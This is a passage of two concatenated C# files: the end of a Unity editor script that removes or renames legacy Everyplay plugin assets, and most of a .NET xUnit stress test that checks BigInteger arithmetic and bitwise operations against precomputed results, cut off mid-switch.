"Plugins/Everyplay/iOS/Everyplay.bundle/slider-trackBackground@2x.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/splash-screen-bg.jpg",
"Plugins/Everyplay/iOS/Everyplay.bundle/topbar-shadow.png",
"Plugins/Everyplay/iOS/Everyplay.bundle/topbar-shadow@2x.png",
"Plugins/Android/everyplay/res/drawable/everyplay_sidemenu_bg.png",
"Plugins/Android/everyplay/res/drawable/everyplay_sidemenu_button_bg.png",
"Plugins/Android/everyplay/res/drawable/everyplay_sidemenu_button_bg_active.png",
"Plugins/Android/everyplay/res/values/everyplay_dimens.xml",
"Plugins/Android/everyplay/res/values/everyplay_values.xml"
};
private const string oldPrefab = "Plugins/Everyplay/Everyplay.prefab";
private const string newTestPrefab = "Plugins/Everyplay/Helpers/EveryplayTest.prefab";
static EveryplayLegacyCleanup()
{
EditorApplication.update += Update;
}
private static int editorFrames = 0;
private static int editorFramesToWait = 5;
private static void Update()
{
if (editorFrames > editorFramesToWait)
{
Clean(true);
EveryplayPostprocessor.ValidateEveryplayState(EveryplaySettingsEditor.LoadEveryplaySettings());
EveryplayWelcome.ShowWelcome();
EditorApplication.update -= Update;
}
else
{
editorFrames++;
}
}
public static void Clean(bool silenceErrors)
{
foreach (string fileName in filesToRemove)
{
if (File.Exists(System.IO.Path.Combine(Application.dataPath, fileName)))
{
AssetDatabase.DeleteAsset(System.IO.Path.Combine("Assets", fileName));
Debug.Log("Removed legacy Everyplay file: " + fileName);
}
}
if (File.Exists(System.IO.Path.Combine(Application.dataPath, oldPrefab)))
{
if (File.Exists(System.IO.Path.Combine(Application.dataPath, newTestPrefab)))
{
AssetDatabase.DeleteAsset(System.IO.Path.Combine("Assets", oldPrefab));
Debug.Log("Removed legacy Everyplay prefab: " + oldPrefab);
}
else
{
string src = System.IO.Path.Combine("Assets", oldPrefab);
string dst = System.IO.Path.Combine("Assets", newTestPrefab);
if ((AssetDatabase.ValidateMoveAsset(src, dst) == "") && (AssetDatabase.MoveAsset(src, dst) == ""))
{
Debug.Log("Renamed and updated legacy Everyplay prefab " + oldPrefab + " to " + newTestPrefab);
}
else if (!silenceErrors)
{
Debug.LogError("Updating the old Everyplay prefab failed. Please rename Plugins/Everyplay/Everyplay prefab to EveryplayTest and move it to the Plugins/Everyplay/Everyplay/Helpers folder.");
}
}
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Diagnostics;
using Xunit;
namespace System.Numerics.Tests
{
public static class Driver
{
public static BigInteger b1;
public static BigInteger b2;
public static BigInteger b3;
public static BigInteger[][] results;
private static Random s_random = new Random(100);
[Fact]
[OuterLoop]
public static void RunTests()
{
int cycles = 1;
//Get the BigIntegers to be testing;
b1 = new BigInteger(GetRandomByteArray(s_random));
b2 = new BigInteger(GetRandomByteArray(s_random));
b3 = new BigInteger(GetRandomByteArray(s_random));
results = new BigInteger[32][];
// ...Sign
results[0] = new BigInteger[3];
results[0][0] = MyBigIntImp.DoUnaryOperatorMine(b1, "uSign");
results[0][1] = MyBigIntImp.DoUnaryOperatorMine(b2, "uSign");
results[0][2] = MyBigIntImp.DoUnaryOperatorMine(b3, "uSign");
// ...Op ~
results[1] = new BigInteger[3];
results[1][0] = MyBigIntImp.DoUnaryOperatorMine(b1, "u~");
results[1][1] = MyBigIntImp.DoUnaryOperatorMine(b2, "u~");
results[1][2] = MyBigIntImp.DoUnaryOperatorMine(b3, "u~");
// ...Log10
results[2] = new BigInteger[3];
results[2][0] = MyBigIntImp.DoUnaryOperatorMine(b1, "uLog10");
results[2][1] = MyBigIntImp.DoUnaryOperatorMine(b2, "uLog10");
results[2][2] = MyBigIntImp.DoUnaryOperatorMine(b3, "uLog10");
// ...Log
results[3] = new BigInteger[3];
results[3][0] = MyBigIntImp.DoUnaryOperatorMine(b1, "uLog");
results[3][1] = MyBigIntImp.DoUnaryOperatorMine(b2, "uLog");
results[3][2] = MyBigIntImp.DoUnaryOperatorMine(b3, "uLog");
// ...Abs
results[4] = new BigInteger[3];
results[4][0] = MyBigIntImp.DoUnaryOperatorMine(b1, "uAbs");
results[4][1] = MyBigIntImp.DoUnaryOperatorMine(b2, "uAbs");
results[4][2] = MyBigIntImp.DoUnaryOperatorMine(b3, "uAbs");
// ...Op --
results[5] = new BigInteger[3];
results[5][0] = MyBigIntImp.DoUnaryOperatorMine(b1, "u--");
results[5][1] = MyBigIntImp.DoUnaryOperatorMine(b2, "u--");
results[5][2] = MyBigIntImp.DoUnaryOperatorMine(b3, "u--");
// ...Op ++
results[6] = new BigInteger[3];
results[6][0] = MyBigIntImp.DoUnaryOperatorMine(b1, "u++");
results[6][1] = MyBigIntImp.DoUnaryOperatorMine(b2, "u++");
results[6][2] = MyBigIntImp.DoUnaryOperatorMine(b3, "u++");
// ...Negate
results[7] = new BigInteger[3];
results[7][0] = MyBigIntImp.DoUnaryOperatorMine(b1, "uNegate");
results[7][1] = MyBigIntImp.DoUnaryOperatorMine(b2, "uNegate");
results[7][2] = MyBigIntImp.DoUnaryOperatorMine(b3, "uNegate");
// ...Op -
results[8] = new BigInteger[3];
results[8][0] = MyBigIntImp.DoUnaryOperatorMine(b1, "u-");
results[8][1] = MyBigIntImp.DoUnaryOperatorMine(b2, "u-");
results[8][2] = MyBigIntImp.DoUnaryOperatorMine(b3, "u-");
// ...Op +
results[9] = new BigInteger[3];
results[9][0] = MyBigIntImp.DoUnaryOperatorMine(b1, "u+");
results[9][1] = MyBigIntImp.DoUnaryOperatorMine(b2, "u+");
results[9][2] = MyBigIntImp.DoUnaryOperatorMine(b3, "u+");
// ...Min
results[10] = new BigInteger[9];
results[10][0] = MyBigIntImp.DoBinaryOperatorMine(b1, b1, "bMin");
results[10][1] = MyBigIntImp.DoBinaryOperatorMine(b1, b2, "bMin");
results[10][2] = MyBigIntImp.DoBinaryOperatorMine(b1, b3, "bMin");
results[10][3] = MyBigIntImp.DoBinaryOperatorMine(b2, b1, "bMin");
results[10][4] = MyBigIntImp.DoBinaryOperatorMine(b2, b2, "bMin");
results[10][5] = MyBigIntImp.DoBinaryOperatorMine(b2, b3, "bMin");
results[10][6] = MyBigIntImp.DoBinaryOperatorMine(b3, b1, "bMin");
results[10][7] = MyBigIntImp.DoBinaryOperatorMine(b3, b2, "bMin");
results[10][8] = MyBigIntImp.DoBinaryOperatorMine(b3, b3, "bMin");
// ...Max
results[11] = new BigInteger[9];
results[11][0] = MyBigIntImp.DoBinaryOperatorMine(b1, b1, "bMax");
results[11][1] = MyBigIntImp.DoBinaryOperatorMine(b1, b2, "bMax");
results[11][2] = MyBigIntImp.DoBinaryOperatorMine(b1, b3, "bMax");
results[11][3] = MyBigIntImp.DoBinaryOperatorMine(b2, b1, "bMax");
results[11][4] = MyBigIntImp.DoBinaryOperatorMine(b2, b2, "bMax");
results[11][5] = MyBigIntImp.DoBinaryOperatorMine(b2, b3, "bMax");
results[11][6] = MyBigIntImp.DoBinaryOperatorMine(b3, b1, "bMax");
results[11][7] = MyBigIntImp.DoBinaryOperatorMine(b3, b2, "bMax");
results[11][8] = MyBigIntImp.DoBinaryOperatorMine(b3, b3, "bMax");
// ...Op >>
results[12] = new BigInteger[9];
results[12][0] = MyBigIntImp.DoBinaryOperatorMine(b1, Makeint(b1), "b>>");
results[12][1] = MyBigIntImp.DoBinaryOperatorMine(b1, Makeint(b2), "b>>");
results[12][2] = MyBigIntImp.DoBinaryOperatorMine(b1, Makeint(b3), "b>>");
results[12][3] = MyBigIntImp.DoBinaryOperatorMine(b2, Makeint(b1), "b>>");
results[12][4] = MyBigIntImp.DoBinaryOperatorMine(b2, Makeint(b2), "b>>");
results[12][5] = MyBigIntImp.DoBinaryOperatorMine(b2, Makeint(b3), "b>>");
results[12][6] = MyBigIntImp.DoBinaryOperatorMine(b3, Makeint(b1), "b>>");
results[12][7] = MyBigIntImp.DoBinaryOperatorMine(b3, Makeint(b2), "b>>");
results[12][8] = MyBigIntImp.DoBinaryOperatorMine(b3, Makeint(b3), "b>>");
// ...Op <<
results[13] = new BigInteger[9];
results[13][0] = MyBigIntImp.DoBinaryOperatorMine(b1, Makeint(b1), "b<<");
results[13][1] = MyBigIntImp.DoBinaryOperatorMine(b1, Makeint(b2), "b<<");
results[13][2] = MyBigIntImp.DoBinaryOperatorMine(b1, Makeint(b3), "b<<");
results[13][3] = MyBigIntImp.DoBinaryOperatorMine(b2, Makeint(b1), "b<<");
results[13][4] = MyBigIntImp.DoBinaryOperatorMine(b2, Makeint(b2), "b<<");
results[13][5] = MyBigIntImp.DoBinaryOperatorMine(b2, Makeint(b3), "b<<");
results[13][6] = MyBigIntImp.DoBinaryOperatorMine(b3, Makeint(b1), "b<<");
results[13][7] = MyBigIntImp.DoBinaryOperatorMine(b3, Makeint(b2), "b<<");
results[13][8] = MyBigIntImp.DoBinaryOperatorMine(b3, Makeint(b3), "b<<");
// ...Op ^
results[14] = new BigInteger[9];
results[14][0] = MyBigIntImp.DoBinaryOperatorMine(b1, b1, "b^");
results[14][1] = MyBigIntImp.DoBinaryOperatorMine(b1, b2, "b^");
results[14][2] = MyBigIntImp.DoBinaryOperatorMine(b1, b3, "b^");
results[14][3] = MyBigIntImp.DoBinaryOperatorMine(b2, b1, "b^");
results[14][4] = MyBigIntImp.DoBinaryOperatorMine(b2, b2, "b^");
results[14][5] = MyBigIntImp.DoBinaryOperatorMine(b2, b3, "b^");
results[14][6] = MyBigIntImp.DoBinaryOperatorMine(b3, b1, "b^");
results[14][7] = MyBigIntImp.DoBinaryOperatorMine(b3, b2, "b^");
results[14][8] = MyBigIntImp.DoBinaryOperatorMine(b3, b3, "b^");
// ...Op |
results[15] = new BigInteger[9];
results[15][0] = MyBigIntImp.DoBinaryOperatorMine(b1, b1, "b|");
results[15][1] = MyBigIntImp.DoBinaryOperatorMine(b1, b2, "b|");
results[15][2] = MyBigIntImp.DoBinaryOperatorMine(b1, b3, "b|");
results[15][3] = MyBigIntImp.DoBinaryOperatorMine(b2, b1, "b|");
results[15][4] = MyBigIntImp.DoBinaryOperatorMine(b2, b2, "b|");
results[15][5] = MyBigIntImp.DoBinaryOperatorMine(b2, b3, "b|");
results[15][6] = MyBigIntImp.DoBinaryOperatorMine(b3, b1, "b|");
results[15][7] = MyBigIntImp.DoBinaryOperatorMine(b3, b2, "b|");
results[15][8] = MyBigIntImp.DoBinaryOperatorMine(b3, b3, "b|");
// ...Op &
results[16] = new BigInteger[9];
results[16][0] = MyBigIntImp.DoBinaryOperatorMine(b1, b1, "b&");
results[16][1] = MyBigIntImp.DoBinaryOperatorMine(b1, b2, "b&");
results[16][2] = MyBigIntImp.DoBinaryOperatorMine(b1, b3, "b&");
results[16][3] = MyBigIntImp.DoBinaryOperatorMine(b2, b1, "b&");
results[16][4] = MyBigIntImp.DoBinaryOperatorMine(b2, b2, "b&");
results[16][5] = MyBigIntImp.DoBinaryOperatorMine(b2, b3, "b&");
results[16][6] = MyBigIntImp.DoBinaryOperatorMine(b3, b1, "b&");
results[16][7] = MyBigIntImp.DoBinaryOperatorMine(b3, b2, "b&");
results[16][8] = MyBigIntImp.DoBinaryOperatorMine(b3, b3, "b&");
// ...Log
results[17] = new BigInteger[9];
results[17][0] = MyBigIntImp.DoBinaryOperatorMine(b1, b1, "bLog");
results[17][1] = MyBigIntImp.DoBinaryOperatorMine(b1, b2, "bLog");
results[17][2] = MyBigIntImp.DoBinaryOperatorMine(b1, b3, "bLog");
results[17][3] = MyBigIntImp.DoBinaryOperatorMine(b2, b1, "bLog");
results[17][4] = MyBigIntImp.DoBinaryOperatorMine(b2, b2, "bLog");
results[17][5] = MyBigIntImp.DoBinaryOperatorMine(b2, b3, "bLog");
results[17][6] = MyBigIntImp.DoBinaryOperatorMine(b3, b1, "bLog");
results[17][7] = MyBigIntImp.DoBinaryOperatorMine(b3, b2, "bLog");
results[17][8] = MyBigIntImp.DoBinaryOperatorMine(b3, b3, "bLog");
// ...GCD
results[18] = new BigInteger[9];
results[18][0] = MyBigIntImp.DoBinaryOperatorMine(b1, b1, "bGCD");
results[18][1] = MyBigIntImp.DoBinaryOperatorMine(b1, b2, "bGCD");
results[18][2] = MyBigIntImp.DoBinaryOperatorMine(b1, b3, "bGCD");
results[18][3] = MyBigIntImp.DoBinaryOperatorMine(b2, b1, "bGCD");
results[18][4] = MyBigIntImp.DoBinaryOperatorMine(b2, b2, "bGCD");
results[18][5] = MyBigIntImp.DoBinaryOperatorMine(b2, b3, "bGCD");
results[18][6] = MyBigIntImp.DoBinaryOperatorMine(b3, b1, "bGCD");
results[18][7] = MyBigIntImp.DoBinaryOperatorMine(b3, b2, "bGCD");
results[18][8] = MyBigIntImp.DoBinaryOperatorMine(b3, b3, "bGCD");
// ...DivRem
results[20] = new BigInteger[9];
results[20][0] = MyBigIntImp.DoBinaryOperatorMine(b1, b1, "bDivRem");
results[20][1] = MyBigIntImp.DoBinaryOperatorMine(b1, b2, "bDivRem");
results[20][2] = MyBigIntImp.DoBinaryOperatorMine(b1, b3, "bDivRem");
results[20][3] = MyBigIntImp.DoBinaryOperatorMine(b2, b1, "bDivRem");
results[20][4] = MyBigIntImp.DoBinaryOperatorMine(b2, b2, "bDivRem");
results[20][5] = MyBigIntImp.DoBinaryOperatorMine(b2, b3, "bDivRem");
results[20][6] = MyBigIntImp.DoBinaryOperatorMine(b3, b1, "bDivRem");
results[20][7] = MyBigIntImp.DoBinaryOperatorMine(b3, b2, "bDivRem");
results[20][8] = MyBigIntImp.DoBinaryOperatorMine(b3, b3, "bDivRem");
// ...Remainder
results[21] = new BigInteger[9];
results[21][0] = MyBigIntImp.DoBinaryOperatorMine(b1, b1, "bRemainder");
results[21][1] = MyBigIntImp.DoBinaryOperatorMine(b1, b2, "bRemainder");
results[21][2] = MyBigIntImp.DoBinaryOperatorMine(b1, b3, "bRemainder");
results[21][3] = MyBigIntImp.DoBinaryOperatorMine(b2, b1, "bRemainder");
results[21][4] = MyBigIntImp.DoBinaryOperatorMine(b2, b2, "bRemainder");
results[21][5] = MyBigIntImp.DoBinaryOperatorMine(b2, b3, "bRemainder");
results[21][6] = MyBigIntImp.DoBinaryOperatorMine(b3, b1, "bRemainder");
results[21][7] = MyBigIntImp.DoBinaryOperatorMine(b3, b2, "bRemainder");
results[21][8] = MyBigIntImp.DoBinaryOperatorMine(b3, b3, "bRemainder");
// ...Op %
results[22] = new BigInteger[9];
results[22][0] = MyBigIntImp.DoBinaryOperatorMine(b1, b1, "b%");
results[22][1] = MyBigIntImp.DoBinaryOperatorMine(b1, b2, "b%");
results[22][2] = MyBigIntImp.DoBinaryOperatorMine(b1, b3, "b%");
results[22][3] = MyBigIntImp.DoBinaryOperatorMine(b2, b1, "b%");
results[22][4] = MyBigIntImp.DoBinaryOperatorMine(b2, b2, "b%");
results[22][5] = MyBigIntImp.DoBinaryOperatorMine(b2, b3, "b%");
results[22][6] = MyBigIntImp.DoBinaryOperatorMine(b3, b1, "b%");
results[22][7] = MyBigIntImp.DoBinaryOperatorMine(b3, b2, "b%");
results[22][8] = MyBigIntImp.DoBinaryOperatorMine(b3, b3, "b%");
// ...Divide
results[23] = new BigInteger[9];
results[23][0] = MyBigIntImp.DoBinaryOperatorMine(b1, b1, "bDivide");
results[23][1] = MyBigIntImp.DoBinaryOperatorMine(b1, b2, "bDivide");
results[23][2] = MyBigIntImp.DoBinaryOperatorMine(b1, b3, "bDivide");
results[23][3] = MyBigIntImp.DoBinaryOperatorMine(b2, b1, "bDivide");
results[23][4] = MyBigIntImp.DoBinaryOperatorMine(b2, b2, "bDivide");
results[23][5] = MyBigIntImp.DoBinaryOperatorMine(b2, b3, "bDivide");
results[23][6] = MyBigIntImp.DoBinaryOperatorMine(b3, b1, "bDivide");
results[23][7] = MyBigIntImp.DoBinaryOperatorMine(b3, b2, "bDivide");
results[23][8] = MyBigIntImp.DoBinaryOperatorMine(b3, b3, "bDivide");
// ...Op /
results[24] = new BigInteger[9];
results[24][0] = MyBigIntImp.DoBinaryOperatorMine(b1, b1, "b/");
results[24][1] = MyBigIntImp.DoBinaryOperatorMine(b1, b2, "b/");
results[24][2] = MyBigIntImp.DoBinaryOperatorMine(b1, b3, "b/");
results[24][3] = MyBigIntImp.DoBinaryOperatorMine(b2, b1, "b/");
results[24][4] = MyBigIntImp.DoBinaryOperatorMine(b2, b2, "b/");
results[24][5] = MyBigIntImp.DoBinaryOperatorMine(b2, b3, "b/");
results[24][6] = MyBigIntImp.DoBinaryOperatorMine(b3, b1, "b/");
results[24][7] = MyBigIntImp.DoBinaryOperatorMine(b3, b2, "b/");
results[24][8] = MyBigIntImp.DoBinaryOperatorMine(b3, b3, "b/");
// ...Multiply
results[25] = new BigInteger[9];
results[25][0] = MyBigIntImp.DoBinaryOperatorMine(b1, b1, "bMultiply");
results[25][1] = MyBigIntImp.DoBinaryOperatorMine(b1, b2, "bMultiply");
results[25][2] = MyBigIntImp.DoBinaryOperatorMine(b1, b3, "bMultiply");
results[25][3] = MyBigIntImp.DoBinaryOperatorMine(b2, b1, "bMultiply");
results[25][4] = MyBigIntImp.DoBinaryOperatorMine(b2, b2, "bMultiply");
results[25][5] = MyBigIntImp.DoBinaryOperatorMine(b2, b3, "bMultiply");
results[25][6] = MyBigIntImp.DoBinaryOperatorMine(b3, b1, "bMultiply");
results[25][7] = MyBigIntImp.DoBinaryOperatorMine(b3, b2, "bMultiply");
results[25][8] = MyBigIntImp.DoBinaryOperatorMine(b3, b3, "bMultiply");
// ...Op *
results[26] = new BigInteger[9];
results[26][0] = MyBigIntImp.DoBinaryOperatorMine(b1, b1, "b*");
results[26][1] = MyBigIntImp.DoBinaryOperatorMine(b1, b2, "b*");
results[26][2] = MyBigIntImp.DoBinaryOperatorMine(b1, b3, "b*");
results[26][3] = MyBigIntImp.DoBinaryOperatorMine(b2, b1, "b*");
results[26][4] = MyBigIntImp.DoBinaryOperatorMine(b2, b2, "b*");
results[26][5] = MyBigIntImp.DoBinaryOperatorMine(b2, b3, "b*");
results[26][6] = MyBigIntImp.DoBinaryOperatorMine(b3, b1, "b*");
results[26][7] = MyBigIntImp.DoBinaryOperatorMine(b3, b2, "b*");
results[26][8] = MyBigIntImp.DoBinaryOperatorMine(b3, b3, "b*");
// ...Subtract
results[27] = new BigInteger[9];
results[27][0] = MyBigIntImp.DoBinaryOperatorMine(b1, b1, "bSubtract");
results[27][1] = MyBigIntImp.DoBinaryOperatorMine(b1, b2, "bSubtract");
results[27][2] = MyBigIntImp.DoBinaryOperatorMine(b1, b3, "bSubtract");
results[27][3] = MyBigIntImp.DoBinaryOperatorMine(b2, b1, "bSubtract");
results[27][4] = MyBigIntImp.DoBinaryOperatorMine(b2, b2, "bSubtract");
results[27][5] = MyBigIntImp.DoBinaryOperatorMine(b2, b3, "bSubtract");
results[27][6] = MyBigIntImp.DoBinaryOperatorMine(b3, b1, "bSubtract");
results[27][7] = MyBigIntImp.DoBinaryOperatorMine(b3, b2, "bSubtract");
results[27][8] = MyBigIntImp.DoBinaryOperatorMine(b3, b3, "bSubtract");
// ...Op -
results[28] = new BigInteger[9];
results[28][0] = MyBigIntImp.DoBinaryOperatorMine(b1, b1, "b-");
results[28][1] = MyBigIntImp.DoBinaryOperatorMine(b1, b2, "b-");
results[28][2] = MyBigIntImp.DoBinaryOperatorMine(b1, b3, "b-");
results[28][3] = MyBigIntImp.DoBinaryOperatorMine(b2, b1, "b-");
results[28][4] = MyBigIntImp.DoBinaryOperatorMine(b2, b2, "b-");
results[28][5] = MyBigIntImp.DoBinaryOperatorMine(b2, b3, "b-");
results[28][6] = MyBigIntImp.DoBinaryOperatorMine(b3, b1, "b-");
results[28][7] = MyBigIntImp.DoBinaryOperatorMine(b3, b2, "b-");
results[28][8] = MyBigIntImp.DoBinaryOperatorMine(b3, b3, "b-");
// ...Add
results[29] = new BigInteger[9];
results[29][0] = MyBigIntImp.DoBinaryOperatorMine(b1, b1, "bAdd");
results[29][1] = MyBigIntImp.DoBinaryOperatorMine(b1, b2, "bAdd");
results[29][2] = MyBigIntImp.DoBinaryOperatorMine(b1, b3, "bAdd");
results[29][3] = MyBigIntImp.DoBinaryOperatorMine(b2, b1, "bAdd");
results[29][4] = MyBigIntImp.DoBinaryOperatorMine(b2, b2, "bAdd");
results[29][5] = MyBigIntImp.DoBinaryOperatorMine(b2, b3, "bAdd");
results[29][6] = MyBigIntImp.DoBinaryOperatorMine(b3, b1, "bAdd");
results[29][7] = MyBigIntImp.DoBinaryOperatorMine(b3, b2, "bAdd");
results[29][8] = MyBigIntImp.DoBinaryOperatorMine(b3, b3, "bAdd");
// ...Op +
results[30] = new BigInteger[9];
results[30][0] = MyBigIntImp.DoBinaryOperatorMine(b1, b1, "b+");
results[30][1] = MyBigIntImp.DoBinaryOperatorMine(b1, b2, "b+");
results[30][2] = MyBigIntImp.DoBinaryOperatorMine(b1, b3, "b+");
results[30][3] = MyBigIntImp.DoBinaryOperatorMine(b2, b1, "b+");
results[30][4] = MyBigIntImp.DoBinaryOperatorMine(b2, b2, "b+");
results[30][5] = MyBigIntImp.DoBinaryOperatorMine(b2, b3, "b+");
results[30][6] = MyBigIntImp.DoBinaryOperatorMine(b3, b1, "b+");
results[30][7] = MyBigIntImp.DoBinaryOperatorMine(b3, b2, "b+");
results[30][8] = MyBigIntImp.DoBinaryOperatorMine(b3, b3, "b+");
// ...ModPow
results[31] = new BigInteger[27];
results[31][0] = MyBigIntImp.DoTertanaryOperatorMine(b1, (b1 < 0 ? -b1 : b1), b1, "tModPow");
results[31][1] = MyBigIntImp.DoTertanaryOperatorMine(b1, (b1 < 0 ? -b1 : b1), b2, "tModPow");
results[31][2] = MyBigIntImp.DoTertanaryOperatorMine(b1, (b1 < 0 ? -b1 : b1), b3, "tModPow");
results[31][3] = MyBigIntImp.DoTertanaryOperatorMine(b1, (b2 < 0 ? -b2 : b2), b1, "tModPow");
results[31][4] = MyBigIntImp.DoTertanaryOperatorMine(b1, (b2 < 0 ? -b2 : b2), b2, "tModPow");
results[31][5] = MyBigIntImp.DoTertanaryOperatorMine(b1, (b2 < 0 ? -b2 : b2), b3, "tModPow");
results[31][6] = MyBigIntImp.DoTertanaryOperatorMine(b1, (b3 < 0 ? -b3 : b3), b1, "tModPow");
results[31][7] = MyBigIntImp.DoTertanaryOperatorMine(b1, (b3 < 0 ? -b3 : b3), b2, "tModPow");
results[31][8] = MyBigIntImp.DoTertanaryOperatorMine(b1, (b3 < 0 ? -b3 : b3), b3, "tModPow");
results[31][9] = MyBigIntImp.DoTertanaryOperatorMine(b2, (b1 < 0 ? -b1 : b1), b1, "tModPow");
results[31][10] = MyBigIntImp.DoTertanaryOperatorMine(b2, (b1 < 0 ? -b1 : b1), b2, "tModPow");
results[31][11] = MyBigIntImp.DoTertanaryOperatorMine(b2, (b1 < 0 ? -b1 : b1), b3, "tModPow");
results[31][12] = MyBigIntImp.DoTertanaryOperatorMine(b2, (b2 < 0 ? -b2 : b2), b1, "tModPow");
results[31][13] = MyBigIntImp.DoTertanaryOperatorMine(b2, (b2 < 0 ? -b2 : b2), b2, "tModPow");
results[31][14] = MyBigIntImp.DoTertanaryOperatorMine(b2, (b2 < 0 ? -b2 : b2), b3, "tModPow");
results[31][15] = MyBigIntImp.DoTertanaryOperatorMine(b2, (b3 < 0 ? -b3 : b3), b1, "tModPow");
results[31][16] = MyBigIntImp.DoTertanaryOperatorMine(b2, (b3 < 0 ? -b3 : b3), b2, "tModPow");
results[31][17] = MyBigIntImp.DoTertanaryOperatorMine(b2, (b3 < 0 ? -b3 : b3), b3, "tModPow");
results[31][18] = MyBigIntImp.DoTertanaryOperatorMine(b3, (b1 < 0 ? -b1 : b1), b1, "tModPow");
results[31][19] = MyBigIntImp.DoTertanaryOperatorMine(b3, (b1 < 0 ? -b1 : b1), b2, "tModPow");
results[31][20] = MyBigIntImp.DoTertanaryOperatorMine(b3, (b1 < 0 ? -b1 : b1), b3, "tModPow");
results[31][21] = MyBigIntImp.DoTertanaryOperatorMine(b3, (b2 < 0 ? -b2 : b2), b1, "tModPow");
results[31][22] = MyBigIntImp.DoTertanaryOperatorMine(b3, (b2 < 0 ? -b2 : b2), b2, "tModPow");
results[31][23] = MyBigIntImp.DoTertanaryOperatorMine(b3, (b2 < 0 ? -b2 : b2), b3, "tModPow");
results[31][24] = MyBigIntImp.DoTertanaryOperatorMine(b3, (b3 < 0 ? -b3 : b3), b1, "tModPow");
results[31][25] = MyBigIntImp.DoTertanaryOperatorMine(b3, (b3 < 0 ? -b3 : b3), b2, "tModPow");
results[31][26] = MyBigIntImp.DoTertanaryOperatorMine(b3, (b3 < 0 ? -b3 : b3), b3, "tModPow");
for (int i = 0; i < cycles; i++)
{
Worker worker = new Worker(new Random(s_random.Next()), i);
worker.DoWork();
Assert.True(worker.Valid, "Verification Failed");
}
}
private static byte[] GetRandomByteArray(Random random)
{
return MyBigIntImp.GetNonZeroRandomByteArray(random, random.Next(1, 18));
}
private static int Makeint(BigInteger input)
{
int output;
if (input < 0)
{
input = -input;
}
input = input + int.MaxValue;
byte[] temp = input.ToByteArray();
temp[1] = 0;
temp[2] = 0;
temp[3] = 0;
output = BitConverter.ToInt32(temp, 0);
if (output == 0)
{
output = 1;
}
return output;
}
}
public class Worker
{
private Random random;
private int id;
public bool Valid
{
get;
set;
}
public Worker(Random r, int i)
{
random = r;
id = i;
}
public void DoWork()
{
Valid = true;
BigInteger b1 = Driver.b1;
BigInteger b2 = Driver.b2;
BigInteger b3 = Driver.b3;
BigInteger[][] results = Driver.results;
var threeOrderOperations = new Action<BigInteger, BigInteger>[] {
new Action<BigInteger, BigInteger>((a, expected) => { Sign(a, expected); }),
new Action<BigInteger, BigInteger>((a, expected) => { Op_Not(a, expected); }),
new Action<BigInteger, BigInteger>((a, expected) => { Log10(a, expected); }),
new Action<BigInteger, BigInteger>((a, expected) => { Log(a, expected); }),
new Action<BigInteger, BigInteger>((a, expected) => { Abs(a, expected); }),
new Action<BigInteger, BigInteger>((a, expected) => { Op_Decrement(a, expected); }),
new Action<BigInteger, BigInteger>((a, expected) => { Op_Increment(a, expected); }),
new Action<BigInteger, BigInteger>((a, expected) => { Negate(a, expected); }),
new Action<BigInteger, BigInteger>((a, expected) => { Op_Negate(a, expected); }),
new Action<BigInteger, BigInteger>((a, expected) => { Op_Plus(a, expected); })
};
var nineOrderOperations = new Action<BigInteger, BigInteger, BigInteger>[] {
new Action<BigInteger, BigInteger, BigInteger>((a, b, expected) => { Min(a, b, expected); }),
new Action<BigInteger, BigInteger, BigInteger>((a, b, expected) => { Max(a, b, expected); }),
new Action<BigInteger, BigInteger, BigInteger>((a, b, expected) => { Op_RightShift(a, b, expected); }),
new Action<BigInteger, BigInteger, BigInteger>((a, b, expected) => { Op_LeftShift(a, b, expected); }),
new Action<BigInteger, BigInteger, BigInteger>((a, b, expected) => { Op_Xor(a, b, expected); }),
new Action<BigInteger, BigInteger, BigInteger>((a, b, expected) => { Op_Or(a, b, expected); }),
new Action<BigInteger, BigInteger, BigInteger>((a, b, expected) => { Op_And(a, b, expected); }),
new Action<BigInteger, BigInteger, BigInteger>((a, b, expected) => { Log(a, b, expected); }),
new Action<BigInteger, BigInteger, BigInteger>((a, b, expected) => { GCD(a, b, expected); }),
new Action<BigInteger, BigInteger, BigInteger>((a, b, expected) => { Pow(a, b, expected); }),
new Action<BigInteger, BigInteger, BigInteger>((a, b, expected) => { DivRem(a, b, expected); }),
new Action<BigInteger, BigInteger, BigInteger>((a, b, expected) => { Remainder(a, b, expected); }),
new Action<BigInteger, BigInteger, BigInteger>((a, b, expected) => { Op_Modulus(a, b, expected); }),
new Action<BigInteger, BigInteger, BigInteger>((a, b, expected) => { Divide(a, b, expected); }),
new Action<BigInteger, BigInteger, BigInteger>((a, b, expected) => { Op_Divide(a, b, expected); }),
new Action<BigInteger, BigInteger, BigInteger>((a, b, expected) => { Multiply(a, b, expected); }),
new Action<BigInteger, BigInteger, BigInteger>((a, b, expected) => { Op_Multiply(a, b, expected); }),
new Action<BigInteger, BigInteger, BigInteger>((a, b, expected) => { Subtract(a, b, expected); }),
new Action<BigInteger, BigInteger, BigInteger>((a, b, expected) => { Op_Subtract(a, b, expected); }),
new Action<BigInteger, BigInteger, BigInteger>((a, b, expected) => { Add(a, b, expected); }),
new Action<BigInteger, BigInteger, BigInteger>((a, b, expected) => { Op_Add(a, b, expected); })
};
Stopwatch stopWatch = new Stopwatch();
stopWatch.Start();
while (stopWatch.ElapsedMilliseconds < 10000)
{
// Remove the Pow operation for performance reasons
int op;
do
{
op = random.Next(0, 32);
}
while (op == 19);
int order = random.Next(0, 27);
switch (op)
{
case 0: // Sign
case 1: // Op_Not
case 2: // Log10
case 3: // Log
case 4: // Abs
case 5: // Op_Decrement
case 6: // Op_Increment
case 7: // Negate
case 8: // Op_Negate
case 9: // Op_Plus
switch (order % 3)
{
case 0:
threeOrderOperations[op](b1, results[op][0]);
break;
case 1:
threeOrderOperations[op](b2, results[op][1]);
break;
case 2:
threeOrderOperations[op](b3, results[op][2]);
break;
default:
Valid = false;
break;
}
break;
case 10: // Min
case 11: // Max
case 12: // Op_RightShift
case 13: // Op_LeftShift
case 14: // Op_Xor
case 15: // Op_Or
case 16: // Op_And
case 17: // Log
case 18: // GCD
case 19: // Pow
case 20: // DivRem
case 21: // Remainder
case 22: // Op_Modulus
case 23: // Divide
case 24: // Op_Divide
case 25: // Multiply
case 26: // Op_Multiply
case 27: // Subtract
case 28: // Op_Subtract
case 29: // Add
case 30: // Op_Add
switch (order % 9)
{
case 0:
nineOrderOperations[op-10](b1, b1, results[op][0]);
break;
case 1:
nineOrderOperations[op-10](b1, b2, results[op][1]);
break;
case 2:
